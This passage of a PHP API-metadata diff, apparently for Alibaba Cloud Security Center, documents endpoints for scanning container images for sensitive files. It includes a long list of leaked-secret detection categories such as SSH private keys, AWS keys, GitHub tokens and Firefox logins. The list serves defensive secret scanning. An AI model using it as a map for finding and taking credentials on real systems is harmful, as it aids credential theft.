'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '返回数据当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '文件的风险等级。多个等级用英文逗号（,）分隔。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定容器镜像实例ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~451339~~)接口，通过返回参数**InstanceId**的值可以获取容器镜像实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-qewqrqcsadf****', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库名称。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'harbor-image-v001', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库命名空间名称。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'libssh2', + ], + ], + [ + 'name' => 'ImageDigest', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像摘要。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'v005', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '受影响的镜像返回结果。', + 'type' => 'object', + 'properties' => [ + 'ImageInfos' => [ + 'description' => '镜像信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '镜像的唯一标识。', + 'type' => 'string', + 'example' => 'f58681174f944623345379e23b7b****', + ], + 'RegionId' => [ + 'description' => '镜像实例所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '镜像实例的ID。', + 'type' => 'string', + 'example' => 'cri-a595qp31knh9****', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'libssh2', + ], + 'RepoName' => [ + 'description' => '镜像仓库的名称。', + 'type' => 'string', + 'example' => 'opa-test', + ], + 'Digest' => [ + 'description' => '镜像摘要。', + 'type' => 'string', + 'example' => 'v005', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => 'nuxeo6', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649814050000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649814050000', + ], + 'RiskLevel' => [ + 'description' => '等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'low', + ], + 'Status' => [ + 'description' => '敏感文件状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的告警事件的数量。默认值为**20**，表示每页显示20条告警事件。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '83', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'LastRowKey' => [ + 'description' => '最后一条数据的键。', + 'type' => 'string', + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E0C5C07F-1576-509A-AE44-1C36B8445B37', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ImageInfos\\": [\\n {\\n \\"Uuid\\": \\"f58681174f944623345379e23b7b****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceId\\": \\"cri-a595qp31knh9****\\",\\n \\"RepoNamespace\\": \\"libssh2\\",\\n \\"RepoName\\": \\"opa-test\\",\\n \\"Digest\\": \\"v005\\",\\n \\"Tag\\": \\"nuxeo6\\",\\n \\"FirstScanTime\\": 1649814050000,\\n \\"LastScanTime\\": 1649814050000,\\n \\"RiskLevel\\": \\"low\\",\\n \\"Status\\": \\"0\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 83,\\n \\"Count\\": 4,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"E0C5C07F-1576-509A-AE44-1C36B8445B37\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询存在敏感文件镜像', + ], + 'OpenSensitiveFileScan' => [ + 'summary' => '编辑敏感文件扫描开关。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '156730', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SwitchOn', + 'in' => 'query', + 'schema' => [ + 'title' => '开关操作, on打开, off关闭', + 'description' => '开关操作。取值：'."\n" + ."\n" + .'- **on**：打开。'."\n" + .'- **off**：关闭。', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '修改敏感文件扫描开关返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '修改敏感文件扫描开关返回信息。', + 'type' => 'object', + 'properties' => [ + 'SwitchOn' => [ + 'title' => '开关操作, on打开, off关闭', + 'description' => '开关操作。取值：'."\n" + ."\n" + .'- **on**：打开。'."\n" + .'- **off**：关闭。', + 'type' => 'string', + 'example' => 'on', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B4A4C081-7F06-5481-9323-02A5419B9423', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"SwitchOn\\": \\"on\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"B4A4C081-7F06-5481-9323-02A5419B9423\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '编辑敏感文件扫描开关', + ], + 'DescribeImageSensitiveFileList' => [ + 'summary' => '查询敏感文件信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '156729', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '搜索类型对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'Rails Master Key', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件搜索类型。取值：'."\n" + ."\n" + .'- **SensitiveFileKey**：敏感文件告警分类。取值：'."\n" + ."\n" + .' - **npm_token**：NPM访问令牌'."\n" + .' - **ftp_cfg**：FTP配置'."\n" + .' - **google\\_oauth_key**：Google OAuth Key'."\n" + .' - **planetscale_passwd**：Planetscale密码'."\n" + .' - **github\\_ssh_key**：Github SSH密钥'."\n" + .' - **msbuild\\_publish_profile**：MSBuild publish profile'."\n" + .' - **fastly\\_cdn_token**：Fastly CDN的令牌'."\n" + .' - **ssh\\_private_key**：SSH私钥'."\n" + .' - **aws_cli**：AWS CLI凭证'."\n" + .' - **cpanel_proftpd**：cPanel ProFTPd凭证'."\n" + .' - **postgresql_passwd**：PostgreSQL密码文件'."\n" + .' - **discord\\_client_cred**：Discord客户端凭证'."\n" + .' - **rails_database**：Rails数据库配置'."\n" + .' - **aws\\_access_key**：AWS Access Key'."\n" + .' - **esmtp_cfg**：ESMTP邮件服务器配置'."\n" + .' - **docker\\_registry_cfg**：Docker镜像仓库配置'."\n" + .' - **pem**：PEM'."\n" + .' - **common_cred**：通用凭证'."\n" + .' - **sftp_cfg**：SFTP连接配置'."\n" + .' - **grafana_token**：Grafana令牌'."\n" + .' - **slack_token**：Slack Token'."\n" + .' - **ec\\_private_key**：EC私钥'."\n" + .' - **pypi_token**：PyPI上传Token'."\n" + .' - **finicity_token**：Finicity平台令牌'."\n" + .' - **k8s\\_client_key**：Kubernetes客户端私钥'."\n" + .' - **git_cfg**：Git配置'."\n" + .' - **django_key**：Django密钥'."\n" + .' - **jenkins_ssh**：Jenkins SSH配置文件'."\n" + .' - **openssh\\_private_key**：OPENSSH私钥'."\n" + .' - **square_oauth**：Square OAuth凭证'."\n" + .' - **typeform_token**：Typeform 令牌'."\n" + .' - **common\\_database_cfg**：通用数据库连接配置'."\n" + .' - **wordpress\\_database_cfg**：WordPress数据库配置'."\n" + .' - **googlecloud\\_api_key**：Google Cloud API Key'."\n" + .' - **vscode_sftp**：VSCode SFTP配置'."\n" + .' - **apache_htpasswd**：Apache htpasswd'."\n" + .' - **planetscale_token**：Planetscale令牌'."\n" + .' - **contentful\\_preview_token**：Contentful Preview令牌'."\n" + .' - **php\\_database_cfg**：PHP应用程序数据库密码'."\n" + .' - **atom\\_remote_sync**：Atom远程同步配置'."\n" + .' - **aws\\_session_token**：AWS会话令牌'."\n" + .' - **atom\\_sftp_cfg**：Atom SFTP配置'."\n" + .' - **asana\\_client\\_private_key**：Asana项目管理平台客户端密钥'."\n" + .' - **tencentcloud_ak**：他云SecretId'."\n" + .' - **rsa\\_private_key**：RSA私钥'."\n" + .' - **github\\_personal_token**：Github Personal访问令牌'."\n" + .' - **pgp**：PGP加密文件'."\n" + .' - **stripe_skpk**：Stripe Secret Key'."\n" + .' - **square_token**：Square访问令牌'."\n" + .' - **rails_carrierwave**：Rails Carrierwave文件上传凭证'."\n" + .' - **dbeaver\\_database_cfg**：DBeaver数据库配置'."\n" + .' - **robomongo_cred**：Robomongo凭证'."\n" + .' - **github\\_oauth_token**：Github OAuth访问令牌'."\n" + .' - **pulumi_token**：Pulumi令牌'."\n" + .' - **ventrilo_voip**：Ventrilo VoIP Server配置'."\n" + .' - **macos\\_keychain**：macOS钥匙串'."\n" + .' - **amazon\\_mws_token**：Amazon MWS Token'."\n" + .' - **dynatrace_token**：Dynatrace令牌'."\n" + .' - **java_keystore**：Java密钥库'."\n" + .' - **microsoft_sdf**：Microsoft SQL CE数据库'."\n" + .' - **kubernetes\\_dashboard_cred**：Kubernetes Dashboard用户凭证'."\n" + .' - **atlassian_token**：Atlassian 令牌'."\n" + .' - **rdp**：远程桌面连接RDP'."\n" + .' - **mailgun_key**：Mailgun Webhook Signing Key'."\n" + .' - **mailchimp\\_api_key**：Mailchimp API Key'."\n" + .' - **netrc_cfg**：.netrc配置文件'."\n" + .' - **openvpn_cfg**：OpenVPN客户端配置'."\n" + .' - **github\\_refresh_token**：Github Refresh Token'."\n" + .' - **salesforce**：Salesforce凭证'."\n" + .' - **sendinblue**：Sendinblue令牌'."\n" + .' - **pkcs\\_private_key**：PKCS＃12密钥'."\n" + .' - **rubyonrails_passwd**：Ruby on Rails密码文件'."\n" + .' - **filezilla_ftp**：FileZilla FTP配置'."\n" + .' - **databricks_token**：Databricks令牌'."\n" + .' - **gitLab\\_personal_token**：GitLab Personal访问令牌'."\n" + .' - **rails\\_master_key**：Rails Master Key'."\n" + .' - **sqlite**：SQLite3/SQLite数据库'."\n" + .' - **firefox_logins**：Firefox登录配置'."\n" + .' - **mailgun\\_private_token**：Mailgun Private令牌'."\n" + .' - **joomla_cfg**：Joomla 配置'."\n" + .' - **hashicorp\\_terraform_token**：Hashicorp Terraform Token'."\n" + .' - **jetbrains_ides**：Jetbrains IDEs配置'."\n" + .' - **heroku\\_api_key**：Heroku API key'."\n" + .' - **messagebird_token**：MessageBird令牌'."\n" + .' - **github\\_app_token**：Github App Token'."\n" + .' - **hashicorp\\_vault_token**：Hashicorp Vault Token'."\n" + .' - **pgp\\_private_key**：PGP私钥'."\n" + .' - **sshpasswd**：SSH密码'."\n" + .' - **huaweicloud_ak**：他云Secret Access Key'."\n" + .' - **aws_s3cmd**：AWS S3cmd配置'."\n" + .' - **php_config**：Php配置'."\n" + .' - **common\\_private_key**：常见私钥类型'."\n" + .' - **microsoft_mdf**：Microsoft SQL数据库'."\n" + .' - **mediawiki_cfg**：MediaWiki配置'."\n" + .' - **jenkins_cred**：Jenkins凭证'."\n" + .' - **rubygems_cred**：Rubygems凭证'."\n" + .' - **clojars_token**：Clojars 令牌'."\n" + .' - **phoenix\\_web_passwd**：Phoenix Web凭证'."\n" + .' - **puttygen\\_private_key**：PuTTYgen私钥'."\n" + .' - **google\\_oauth_token**：Google OAuth访问令牌'."\n" + .' - **rubyonrails_cfg**：Ruby On Rails数据库配置'."\n" + .' - **lob\\_api_key**：Lob API Key'."\n" + .' - **pkcs_cred**：PKCS＃12证书'."\n" + .' - **otr\\_private_key**：OTR私钥'."\n" + .' - **contentful\\_delivery_token**：Contentful Delivery令牌'."\n" + .' - **digital\\_ocean_tugboat**：Digital Ocean Tugboat配置'."\n" + .' - **dsa\\_private_key**：DSA私钥'."\n" + .' - **rails\\_app_token**：Rails App令牌'."\n" + .' - **git_cred**：Git用户凭证'."\n" + .' - **newrelic\\_api_key**：New Relic User API Key'."\n" + .' - **github_hub**：存储Github令牌的hub配置'."\n" + .' - **rubygem**：Rubygem令牌'."\n" + .'- **SensitiveFileName**：敏感文件告警类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'SensitiveFileKey', + ], + ], + [ + 'name' => 'RiskLevel', + 'in' => 'query', + 'schema' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'low', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器', + 'type' => 'string', + 'required' => false, + 'example' => 'container', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。默认值为**1**，表示从第**1**页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像的唯一标识。'."\n" + .'> 调用容器镜像服务的[DescribeGroupedContainerInstances ](~~DescribeGroupedContainerInstances~~)接口，通过返回参数**ImageUuid**的值可以获取容器镜像唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '850613a48999900f48417c7e6e9d****', + ], + ], + [ + 'name' => 'SensitiveKeyList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '敏感文件Key列表', + 'description' => '敏感文件Key列表', + 'type' => 'array', + 'items' => [ + 'title' => '敏感文件Key', + 'description' => '敏感文件Key', + 'type' => 'string', + 'required' => false, + 'example' => 'Token', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '查询敏感文件返回结果。', + 'type' => 'object', + 'properties' => [ + 'SensitiveFileList' => [ + 'description' => '敏感文件集合。', + 'type' => 'array', + 'items' => [ + 'description' => '敏感文件信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + 'SensitiveFileKey' => [ + 'description' => '敏感文件告警类型。取值：'."\n" + ."\n" + .'- **npm_token**：NPM访问令牌'."\n" + .'- **ftp_cfg**：FTP配置'."\n" + .'- **google\\_oauth_key**：Google OAuth Key'."\n" + .'- **planetscale_passwd**：Planetscale密码'."\n" + .'- **github\\_ssh_key**：Github SSH密钥'."\n" + .'- **msbuild\\_publish_profile**：MSBuild publish profile'."\n" + .'- **fastly\\_cdn_token**：Fastly CDN的令牌'."\n" + .'- **ssh\\_private_key**：SSH私钥'."\n" + .'- **aws_cli**：AWS CLI凭证'."\n" + .'- **cpanel_proftpd**：cPanel ProFTPd凭证'."\n" + .'- **postgresql_passwd**：PostgreSQL密码文件'."\n" + .'- **discord\\_client_cred**：Discord客户端凭证'."\n" + .'- **rails_database**：Rails数据库配置'."\n" + .'- **aws\\_access_key**：AWS Access Key'."\n" + .'- **esmtp_cfg**：ESMTP邮件服务器配置'."\n" + .'- **docker\\_registry_cfg**：Docker镜像仓库配置'."\n" + .'- **pem**：PEM'."\n" + .'- **common_cred**：通用凭证'."\n" + .'- **sftp_cfg**：SFTP连接配置'."\n" + .'- **grafana_token**：Grafana令牌'."\n" + .'- **slack_token**：Slack Token'."\n" + .'- **ec\\_private_key**：EC私钥'."\n" + .'- **pypi_token**：PyPI上传Token'."\n" + .'- **finicity_token**：Finicity平台令牌'."\n" + .'- **k8s\\_client_key**：Kubernetes客户端私钥'."\n" + .'- **git_cfg**：Git配置'."\n" + .'- **django_key**：Django密钥'."\n" + .'- **jenkins_ssh**：Jenkins SSH配置文件'."\n" + .'- **openssh\\_private_key**：OPENSSH私钥'."\n" + .'- **square_oauth**：Square OAuth凭证'."\n" + .'- **typeform_token**：Typeform 令牌'."\n" + .'- **common\\_database_cfg**：通用数据库连接配置'."\n" + .'- **wordpress\\_database_cfg**：WordPress数据库配置'."\n" + .'- **googlecloud\\_api_key**：Google Cloud API Key'."\n" + .'- **vscode_sftp**：VSCode SFTP配置'."\n" + .'- **apache_htpasswd**：Apache htpasswd'."\n" + .'- **planetscale_token**：Planetscale令牌'."\n" + .'- **contentful\\_preview_token**：Contentful Preview令牌'."\n" + .'- **php\\_database_cfg**：PHP应用程序数据库密码'."\n" + .'- **atom\\_remote_sync**：Atom远程同步配置'."\n" + .'- **aws\\_session_token**：AWS会话令牌'."\n" + .'- **atom\\_sftp_cfg**：Atom SFTP配置'."\n" + .'- **asana\\_client\\_private_key**：Asana项目管理平台客户端密钥'."\n" + .'- **tencentcloud_ak**：他云SecretId'."\n" + .'- **rsa\\_private_key**：RSA私钥'."\n" + .'- **github\\_personal_token**：Github Personal访问令牌'."\n" + .'- **pgp**：PGP加密文件'."\n" + .'- **stripe_skpk**：Stripe Secret Key'."\n" + .'- **square_token**：Square访问令牌'."\n" + .'- **rails_carrierwave**：Rails Carrierwave文件上传凭证'."\n" + .'- **dbeaver\\_database_cfg**：DBeaver数据库配置'."\n" + .'- **robomongo_cred**：Robomongo凭证'."\n" + .'- **github\\_oauth_token**：Github OAuth访问令牌'."\n" + .'- **pulumi_token**：Pulumi令牌'."\n" + .'- **ventrilo_voip**：Ventrilo VoIP Server配置'."\n" + .'- **macos\\_keychain**：macOS钥匙串'."\n" + .'- **amazon\\_mws_token**：Amazon MWS Token'."\n" + .'- **dynatrace_token**：Dynatrace令牌'."\n" + .'- **java_keystore**：Java密钥库'."\n" + .'- **microsoft_sdf**：Microsoft SQL CE数据库'."\n" + .'- **kubernetes\\_dashboard_cred**：Kubernetes Dashboard用户凭证'."\n" + .'- **atlassian_token**：Atlassian 令牌'."\n" + .'- **rdp**：远程桌面连接RDP'."\n" + .'- **mailgun_key**：Mailgun Webhook Signing Key'."\n" + .'- **mailchimp\\_api_key**：Mailchimp API Key'."\n" + .'- **netrc_cfg**：.netrc配置文件'."\n" + .'- **openvpn_cfg**：OpenVPN客户端配置'."\n" + .'- **github\\_refresh_token**：Github Refresh Token'."\n" + .'- **salesforce**：Salesforce凭证'."\n" + .'- **sendinblue**：Sendinblue令牌'."\n" + .'- **pkcs\\_private_key**：PKCS＃12密钥'."\n" + .'- **rubyonrails_passwd**：Ruby on Rails密码文件'."\n" + .'- **filezilla_ftp**：FileZilla FTP配置'."\n" + .'- **databricks_token**：Databricks令牌'."\n" + .'- **gitLab\\_personal_token**：GitLab Personal访问令牌'."\n" + .'- **rails\\_master_key**：Rails Master Key'."\n" + .'- **sqlite**：SQLite3/SQLite数据库'."\n" + .'- **firefox_logins**：Firefox登录配置'."\n" + .'- **mailgun\\_private_token**：Mailgun Private令牌'."\n" + .'- **joomla_cfg**：Joomla 配置'."\n" + .'- **hashicorp\\_terraform_token**：Hashicorp Terraform Token'."\n" + .'- **jetbrains_ides**：Jetbrains IDEs配置'."\n" + .'- **heroku\\_api_key**：Heroku API key'."\n" + .'- **messagebird_token**：MessageBird令牌'."\n" + .'- **github\\_app_token**：Github App Token'."\n" + .'- **hashicorp\\_vault_token**：Hashicorp Vault Token'."\n" + .'- **pgp\\_private_key**：PGP私钥'."\n" + .'- **sshpasswd**：SSH密码'."\n" + .'- **huaweicloud_ak**：他云Secret Access Key'."\n" + .'- **aws_s3cmd**：AWS S3cmd配置'."\n" + .'- **php_config**：Php配置'."\n" + .'- **common\\_private_key**：常见私钥类型'."\n" + .'- **microsoft_mdf**：Microsoft SQL数据库'."\n" + .'- **mediawiki_cfg**：MediaWiki配置'."\n" + .'- **jenkins_cred**：Jenkins凭证'."\n" + .'- **rubygems_cred**：Rubygems凭证'."\n" + .'- **clojars_token**：Clojars 令牌'."\n" + .'- **phoenix\\_web_passwd**：Phoenix Web凭证'."\n" + .'- **puttygen\\_private_key**：PuTTYgen私钥'."\n" + .'- **google\\_oauth_token**：Google OAuth访问令牌'."\n" + .'- **rubyonrails_cfg**：Ruby On Rails数据库配置'."\n" + .'- **lob\\_api_key**：Lob API Key'."\n" + .'- **pkcs_cred**：PKCS＃12证书'."\n" + .'- **otr\\_private_key**：OTR私钥'."\n" + .'- **contentful\\_delivery_token**：Contentful Delivery令牌'."\n" + .'- **digital\\_ocean_tugboat**：Digital Ocean Tugboat配置'."\n" + .'- **dsa\\_private_key**：DSA私钥'."\n" + .'- **rails\\_app_token**：Rails App令牌'."\n" + .'- **git_cred**：Git用户凭证'."\n" + .'- **newrelic\\_api_key**：New Relic User API Key'."\n" + .'- **github_hub**：存储Github令牌的hub配置'."\n" + .'- **rubygem**：Rubygem令牌', + 'type' => 'string', + 'example' => 'google_oauth_key', + ], + 'SensitiveFileName' => [ + 'description' => '敏感文件告警类型名。', + 'type' => 'string', + 'example' => 'AccessKeyLeak', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1663321552000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1663321552000', + ], + 'Count' => [ + 'description' => '扫描发现次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'ClassKey' => [ + 'description' => '敏感文件分类key。', + 'type' => 'string', + 'example' => 'password', + ], + 'ClassName' => [ + 'description' => '敏感文件分类名称。', + 'type' => 'string', + 'example' => 'password', + ], + 'UnprocessedNum' => [ + 'description' => '未处理镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Advice' => [ + 'description' => '敏感文件检测项加固建议。', + 'type' => 'string', + 'example' => 'PEM（Privacy Enhanced Mail）格式是一种常见的数字证书格式，PEM格式的文件可以包含证书，公钥，私钥等信息。在PEM文件未被加密或密码强度不够，密码被泄露的场景，存在更高风险。该检测项旨在发现PEM文件。', + ], + 'Description' => [ + 'description' => '敏感文件检测项描述。', + 'type' => 'string', + 'example' => '根据业务情况评估风险，及时移除风险内容。', + ], + 'Status' => [ + 'description' => '敏感文件检查项状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：已处理。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '返回数据每页显示的数据条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '返回数据的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'LastRowKey' => [ + 'description' => '最后一条数据的键。', + 'type' => 'string', + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2N******', + ], + ], + ], + 'Success' => [ + 'description' => 